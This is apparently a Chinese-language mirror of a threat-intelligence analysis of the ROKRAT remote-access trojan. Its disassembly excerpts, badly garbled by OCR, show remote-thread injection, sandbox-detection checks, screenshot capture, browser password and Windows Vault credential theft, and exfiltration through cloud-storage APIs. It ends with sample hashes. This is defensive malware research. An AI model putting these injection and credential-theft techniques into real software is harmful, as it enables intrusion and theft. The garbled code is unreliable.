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BAREFHENZATRIAA SBS MR, ZHIFEEE—KEE shellcode X
9. ko, EAEFSHIT—I#EE cmd.exe #HI2, JEANFRITHTIREAIZIE.
KRG ENE VirtualAlloc(). WriteProcessMemory() #1 CreateRemoteThread() API
AT

push Eax 3 lpStartupInfo
push B 3 lpCurremtDirectory
puzh a i lpEnvironment
push ] ; dwCreationflags
push ] 3 bInheritHandles
puzh a i lpThreadittributes
push ] i lpProcessittributes
push offset CommandLine ; “cmd. gwe”
push 8 i lpApplicationName
call ds:CreateProcessi
test eax, eax
jz shart loc_ 481160
ol s 5
push Gah ; dwiillisccoonds
call edl ; Slesp
L edu, [esp+idh+ProcessInformation.hProcess )
push 4ih ; TlProtect
push 16883k ; flallecationType
lea eox, [ebx+lodh]
push L= ; dwhize
push @ ; lpAaddress
push edi : hProcess
call ds:VirtualAllocEx
push &ah ; dwiilliscconds
M esi, eax
call edi ; Sles
test esi, esi
jz short loc_481180
.
_ T
ol s =
moy eax, [esprEdh#FrocessIinformation.hProcess]
push B 3 lpNumberOfByteskritten
puzh ehx i n5ize
push chp + lpBuffer
mish o5l 1 lpBaseAddress
puzh eEx ;i hPracezs
call ds :WriteFrocessMemory
test EAK, FAX
jz shart loc_481160
S L
il s =
push 64h 3 dwMilliseconds
call edi ; Sleep
mov ecx, [esptidh+ProcessInformation.hProcess]
push ] 3 lpThreadd
push ] ; dwlreationFlags
push esi i lpParameter
push esi 3 lpStartaddress
push ] 3 dwStackSize
push @ i lpThreadittributes
push BLX ; hProcess
call ds :CreateRemote Thread
Lest BEM, 28X
Jz short loc_a@liel
& fl & &
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rdata:01B0 ..
ordata:01B0...
ordata:01B0...
rdata:01B0...
rdata:01B0...
rdata:01B0...
rdata:01B0..
rdata:01B0..
rdata:01B0 .
ordata:01B0...
ordata:01B0...

00000014
Q0000003
Q000000A
Q0000004
Q0000015
Q000000
00000003
Q0000008
00000009
Q0a00006
Q0a0a0ar
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System manufacturer
([Other)

(Unknown)

(Desktop)

(Low Profile Desktop)
(Mini Tower)

[Tower)

(Portable)

(Laptop)

(Moteboak)

(Sub Moteboak)
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DSPO134 Systarmn Management BIOS (SMBIOS) Reference Specification

Byte Value Maaning

0Zh Unknown

03h Dasktop

Dadh Low Profile Deskiop

0Sh Pizza Bax

DEh Mini Tower

OTh Ticwamer

DBh Forable

0ih LapTop

DA Maotebook

OB Hand Held

0Ch Dacking Station

o0k Al in O

DEh Sub Nolebook

0OFh Space-saving

10h Lunch Box

11h Main Server Chassis

12h Expansion Chassls

13h SubChassis

14h Bus Expansion Chassis

15h Peripheral Chassis

1Gh RAID Chassis

1Th Rack Mount Chassis

16h Sealed-case PC

18h Multi-systern chassis. When this value is specilied by an SMBIOS
implementation, the physical chassis associated with this structure
supparts multiple, Independently reporting physical systems —
regandless of the chassis’ current configuration, Syslems in the: same
phiysical chassis are required 1o report the same value in this
structure’s Serial Number field
For & chassis that may also be configured as either a single system
of multiple physical systems, the Multksystern chassis value s
reporied even if the chassis i currently configured as a single
system. This allows management applications lo recognize the multi-
system potential of the chassis.

1Ah Compact PCI

1Bh Advanced TCA

1Ch Blade. An SMBIOS implementation for a Blade would conlain a Type
3 Chasses siruclure Tor the indbddheal Blade :Fﬂzm as well as one for
Ihe Blade Enclosure thatl completes the Blade system.
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. SbieDIl.dll Gb&EEE)
. Dbghelp.dll (f#EX T E)

. Api_log.dil (Efh5 #iIERF/GFI b &
. Dir_watch.dll (BRI 4 #7312 F/GFI

)

.
'sA
hE

L
lee_1ABAEEE.
esd, dsiOetMo (L]
offset aShied110l ie011. 41

exi ; GetModuleHandlei
£5x, 2aN
ahart loe_1ABRERD

BEEEME T U TERRLE

Loc_1ABaEA2:

push

offset abbghelplll ;| 4
i el leHand Lk

>

~

1

1)

call el | Ge
test AN, AN
jr shart loc_1ABAEBG
1 -
L
=
=
loc_1ABAEEG:
puzh affset adpilognll ; “api_lag.<411°
call exi ; GetModuleHsnd
tant vax, sax
iz short loc LaRAECH
K 1
L] ¥
ll s = bl s = allw = bl = bl =
morw antipmi, 31h v antipmh, 37h mav antinmi, 3th mav antinmi, b
Jmo short loc LABAEEB| | jmn short loc LABAEER| | jap short loc JABAEEB| | jmp short Loc JABAEEB) |loc lABAECHAL
push effaet abirdatchill ; °
coll  esi ; GetPoouledandlen
SOvIN  ecx, antiDSd
test A, eax
L edu, 35h
cmavak  eex, edx
oy antinps, «l

s T I I


https://3.bp.blogspot.com/-tMpcUMOjVY4/WhyCeLjiTtI/AAAAAAAAAM4/55qQDK6rByglGRQeSmTpw6kLM3ksCkJ9QCLcBGAs/s1600/image4.png

iR

It ROKRAT hZRiERA T —2& ARSI K. Flan, EEMAUT NOP #HARRMIT
B i

ol il =

; int _ stdcall WinMain{HINSTAMCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
_WinMain@lé proc near

hreadld= dword ptr -4
hinstance= dword ptr &
hPrevInstance= dword ptr 8cCl
ine= dword ptr 18h

wimd= dword ptr 14h
push ebp
WOV ebp, esp
push ecx
call reco_
NOr eax, eax
hﬁp dword ptr [eax+eax+26h]

L*

(i 5=

loc_1ABBESS:

Mo cl, ds:byte 1BBESE4[eax]
lea eax, [eax+l]

mow byte 1819315[eax], cl
test cl, cl

jnz short loc_lABBEER

nop dword ptr [eax+eax+00h] B— 1 HEZFTH) NOP: 0xOF1F440000. B2,

Immunity Debugger KR&EIER S IFILIRIERD, FHEIBHRBERS B “22?7 (F
BRI E R RAIERS):

Urikrosn

Don't know how to step command at address 014CBETE. Try to run,
change EIP or pass exception te program.

Mote: You may allow stepping into unknown commands in Options

Security
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> T
il s =
lea eax, [ebp+lBCh+var_238]
push Bax
push L]
push edi
moy dword ptr [:51], offset ??_?Hirnnm@ﬁdiplu<@@ﬁﬂ@ 3 const Gdiplus::Bitmap:: vftable
mory [ebp+lBChévar_238], ebx
call GdipCreateBitmapF romHBI THAP
L [esi+g], eax
L eax, [ebp+lBCh+var_238]
L [esi+d], eax
ma ebux, esi

i

=

loc_ABFBED:

lea eax, [ebp+lBCh+wvar 234)
push Ean

call sub_4aF750

xor cax, cax

inc cax

moy [ebp+1BChiwar_2247, eax
o [ebp+1BCh+var_218], eax
T eci, offset unk 5527CC
lea edi, [ebp+lBCh+var 228]
movsd

movsd

mavsd

movsd

lea eax, [ebp+lBCh4var_23C]
pog [-1w

e [ebp+1BCh+var_23C], 32h
e [ebp+1BCh+var 28C], 4
mav [ebp+1ECh+var 28E], eax
call rand

push s

call _rand

push eax
push offset word S68848 ; Args

lea eax, [ebp+lBCh+Dest]
push offset aS@dxBdxTmp ; “Holbaankoax. tep”
push Eax ; Dest
call sub_ 485838

add esp, 1l4h

lea cax, [ebptlBCh+wvar_224]
push eax

lea eax, [ebp+lBCh+var_234]
push Ean

lea eax, [ebp+lBECh+Dest]
push Eax

push dword ptr [ebx+d]

call GdipSaveImageToFile

test Cox, Cox

jz short loc_48F809
[
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UTE 11 ARAMmRANAKE:

rPis : g
=
l=a eax, [ebpsvar_23C)
L dword ptr [esi], effset ??_7Bitmap@Gdiplus@@EB@ : const Gdiplus::Bitmap:: vftable' loc_1ABALAT:
push EET Hor esi, esi
push =]
push edi
moy [ebptvar_23C], @
call ds:0dipCreateBitmapF romHBTTHAP
[ [r'.i+ﬂ], EAX
[t Ean, [ehp+uar_?3{]
o [esi+d], eax
jmp short loc_ 1ABA1449
|
FPI= L]
loc laBAlaa:
lea edw, [ebptvar_238]
call sub_lADBAGLG
movups  xmm@, ds:xmmeord_1BAGFFE
les eax, [rbp—l-\'nr'_?d.?.']
mov [ebp+var_248], 32Zh
mov [ebp+var 228], 1
mav [ebpévar_214], 1
movups  [ebpévar_224], xmmd
mav [ebptvar_218], 4
mav [:hphrdr_)ﬁt"], Eax
call _rand
push eax
call rand
push eax
push offset Buffer ; int
lea eax, [ebptFileName]
push offset aSP4x@axTmp ; “Eska4XEpdx. tmp
push ean 3 int
call sub_lAADBCEG
add esp, 1ldh
lea eax, [ebptvar_228]
push eax
lea eax, [ebptvar_233]
push eax
lea eax, [Ebp—I-F 'L].rf[r.unr]
push eax
push dword ptr [esi+d)
call ds:GdipsavelmageToFile
test eax, cax
jz short loc_1ABALE®

T

AAMEAER T LHEE: %s%04X%04X.tmp. B %04X ZFEHIE. %s BE
—MMiEEEEE (Bid GetTempPath() 3XEXRIBER). EXENMEARD, FRHEKE
#B2 0x12C (300). XER4 TIARIEIL EHIFENEE BT
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F Chrome #1 Firefox M=, ZEERHEXEE URL. ARZFMEDL sqlite
HEEFHITEIA:

("I

push offset aselectUsername ;| "SELEC ysername value, pa

lea ecx, [ebptvar_288] ; int

"'“1; ;”h‘_i JaBe aSclectUsername db 'SELECT wsername_walue, password value, ﬂiEncn_.—rn-'.lr FROM IcE:i"",ﬂ.
pus . TA XREF reStealert1EGte
lea eax, [ebpevar_284] — . — .
= } // starts at 1EE23E8

oty |

O byte ptr [ebp+var 4], 2

cmp [ebptvar_29%C], 1l8h

lea edx, [ebpetvar_288]

mov ebx, [ebptplatalut.pblata]

mov ecx, ebx

cmovnb edx, [ebpévar_284]

push eax

push ]

push 1

push BFFFFFFFFh

call sub_1ED4T9@

add esp, ldh

test €ax, eax

inz loc_1EB27ES
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i s =]

GetVaultAPI proc near

push offset LibFileNMame ; "vaultcli.d

call ds:LoadLibraryW

mov hModule, eax

test eax, eax

jz loc_1E81C89

A
ol s =
push egi
mow esi, ds:GetProcAddress
push offset aVaultenumerate ; "VaultEnumerateIltems
push eax 3 hModule
call esi ; GetProcAddress
push offset aVaultenumerate & ; "VaultEnumerateVault
push hModule ; hModule
mov VaultEnumerateItems API, eax
call esl ; GetProciAddress
push offset aVaultfree ; "VaultFres’
push hMadule ; hHodule
Moy VaultEnumerateVaults_API, eax
call esi ; GetProcAddress
push offset aVaultgetitem ; “VaultGetItem”
push hModule 3 hModule
moy VaultFree API, eax
call esi ; GetProcAddress
push offset aVaultgetitem ; "VaultGetItem”
push htodule ; hModule
movy Vault_GetTtem? APT, eax
call esi ; GetProcAddrass
push offset aVaultopenwvault ; "VaultOpenVault”
push hModule ; hModule
mov Vault GetItem API, eax
call esi ; GetProchAddress
push offset aVaultclosevaul ; "VaultlleoseWault”
push hModule ; hHodule
Moy VaulOpenVault API, eax
call esi ; GetProcAddress
cmp VaultEnumerateVaults API, @
moy VaultClosevVault API, eax
pop esi
jz short loc 1EB1CE9
T
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HREIRES, RNAAANEEENFMEFRESE 42 BFiEicay FreeMilk
WHEHPERNRBEEER. £AXH, FEEZLEEE FreeMilk #n
ROKRAT 81 < S5EHIEMIREFEES . I BRINTELXMZANMERZBFE
—LERBES:

EME ROKRAT #A&, HMZE FreeMilk #74. HAFATLUEEE, R THRIBZN,
WHEIE “IE Registery” EH SRt EFIMML T3 Xk,
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B&fa, It ROKRAT MAERZFEMARSHANNZRIZ T EER. X—X,
WHEBZAERHZMWE TS, MEXATUTARMNZRMHR:

_ Yy
il s 5
loc 1ABSOBF: 3 int
push 23h
Xor edx, edx
push offset aHttpsApiPcloud ; “https://api.pcloud.com/oauth2_token”
mow [eax], dx
call sub_1AB3288
sub esp, 18h
; b/ starts at 1ABS596C
3 try {
mow byte ptr [ebpt+var_4], 5
mov BCX, esp
mow [ebp+var 1C], esp
mow dword ptr [ecx+l4h], 7
mowv dword ptr [ecx+l@h], @
cmp dword ptr [ecx+l4h], B
jb short loc_ 1ABSOC4
B ' e ?
il e 55 Lol sl =
mow eax, [ecx]
jmp short loc 1ABS9CH loc 1AB59C4:
mov eax, ecx
|
‘ v ¥
il s =
loc_1ABS9CE: ; int
push 26h
xor edx, edx
push offset sHttpsMyPcloudC ; “https://my.pcloud.com/ocauth2/authorize™
maw [eax], dx
call sub 1AB3288
sub esp, 18h
H P //f starts at 1ABS0A3
3 try {
mov byte ptr [ebptvar 4], &
mov eCx, esp
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BOX

mov byte ptr [ebptvar 4], 1
lea eax, [ebp+arg_4]
cmp [ebptarg_18], &
mov [ebptvar_l11De], @
cmovnb  eax, [ebptarg_4]
push eax ; int
lea eax, [ebp+var_1018]
push offset aHttpsApiBoxCom_1 ; “https://api.box.com/2.8/files/¥s/conten™...
push Eax 3 int
call sub_1AADBCE
xor eax, eax
mov [ebp+var_182C], 7
add esp, @Ch
mowv [ebp+var_le3e], @
mowv word ptr [ebp+lpMem], ax
cmp word ptr [ebptvar_lele], ax
jnz short loc_lAAFlA4
LI |
DROPBOX
ol
loc_1ABS@1C: ; int
push 2Dh
xor eax, eax
mov [ebp+var_B5C], 7
push offset aHttpsContentDr ; "https://content.dropboxapi.com/2/files/"...
lea ecx, [ebptvar_B78]
mov [ebp+var_Be@], @
mov word ptr [ebp+war_878], ax
call sub_1ARB32E@
push ecx
lea eax, [ebp+var_B78]
3 ¢ // starts at 1ABAFDB
;0 try {
mov byte ptr [ebptvar_4], 4
push eax
lea ecx, [ebpt+var_9FE]

call sub_1ABCEAR
5} // starts at 1AB5852

;3 try {

mov byte ptr [ebptvar_4], 6
mov eax, [ebptvar_B5C]

cmp eax, o

jb short loc_lABS@84
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P
loc_1AB9G11: ; int
push eax
lea eax, [ebptvar_2218]
push offset |pHttpsCloudApi¥ @ ; “https://cloud-api.yandex.net/vi/disk/re”...
push eax ; int
call sub_1AADBCE
Xor eax, eax
mov [ebp+var_222C], 7
add esp, 1@h
mov [ebp+var_2238], @
mov word ptr [ebpt+lpMem], ax
cmp word ptr [ebptvar_2218], ax
jnz short loc_1AB9@S8
Zie
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i%1%: c:\ProgramData\HncModuleUpdate.exe
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EANERF #1:
a29b07a6fe5d7ce3147dd7ef1d7d18df16e347f37282c43139d53cce25ae7037
EANERF #2:
eb6d25e08b2b32a736b57f8df22db6d03dc82f16da554f4e8bb67120eacb1d14
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Freenki:
99¢1b4887d96cb94f32b280c1039b3a7e39ad996859ffa6dd011cf3ccadf1bab


https://www.blogger.com/profile/10073079939160046441
http://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html
http://blog.talosintelligence.com/search/label/APT
http://blog.talosintelligence.com/search/label/cloud
http://blog.talosintelligence.com/search/label/HWP
http://blog.talosintelligence.com/search/label/Korea
http://blog.talosintelligence.com/search/label/Malware
http://blog.talosintelligence.com/search/label/Malware%20Analysis
http://blog.talosintelligence.com/search/label/RAT
http://blog.talosintelligence.com/search/label/ROKRAT

